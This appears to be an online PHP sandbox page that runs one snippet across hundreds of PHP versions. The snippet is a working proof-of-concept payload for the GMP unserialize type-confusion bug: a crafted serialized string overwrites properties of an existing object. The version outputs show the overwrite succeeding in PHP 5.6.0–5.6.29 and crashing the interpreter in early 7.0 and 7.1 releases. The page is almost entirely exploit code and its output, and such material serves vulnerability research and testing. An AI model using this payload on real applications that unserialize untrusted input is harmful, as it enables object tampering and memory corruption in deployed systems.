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run code in 300+ PHP versions simultaneously
<?php class obj { var $test; function __wakeup() { $this->test = 1; } } $obj = new stdClass;// $obj handle = 1 $obj->var1 = 1; $obj->var2 = 2; $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit);// $x handle = 2 var_dump($obj);
Output for 5.6.30, 7.0.15 - 7.0.24, 7.1.1 - 7.1.33, 7.2.6 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.32, 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 7.3.32 - 7.3.33, 7.4.33, 8.0.13
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/1Uc7K on line 15 object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 7.0.0 - 7.0.14, 7.1.0

Process exited with code 139.
Output for 5.6.0 - 5.6.29
object(stdClass)#1 (3) { ["var1"]=> string(6) "change" ["var2"]=> string(4) "this" [0]=> object(obj)#3 (1) { ["test"]=> &int(1) } }
Output for 5.1.3 - 5.1.6, 5.2.0 - 5.2.17
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/1Uc7K on line 15 Notice: unserialize(): Error at offset 17 of 121 bytes in /in/1Uc7K on line 15 object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 5.1.0 - 5.1.2
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in /in/1Uc7K on line 4 Warning: Class __PHP_Incomplete_Class has no unserializer in /in/1Uc7K on line 15 Notice: unserialize(): Error at offset 17 of 121 bytes in /in/1Uc7K on line 15 object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 5.0.0 - 5.0.5
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in /in/1Uc7K on line 4 Notice: unserialize(): Error at offset 9 of 121 bytes in /in/1Uc7K on line 15 object(stdClass)#1 (2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9
Notice: unserialize(): Error at offset 9 of 121 bytes in /in/1Uc7K on line 15 object(stdClass)(2) { ["var1"]=> int(1) ["var2"]=> int(2) }
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 9 of 121 bytes in /in/1Uc7K on line 15 object(stdClass)(2) { ["var1"]=> int(1) ["var2"]=> int(2) }

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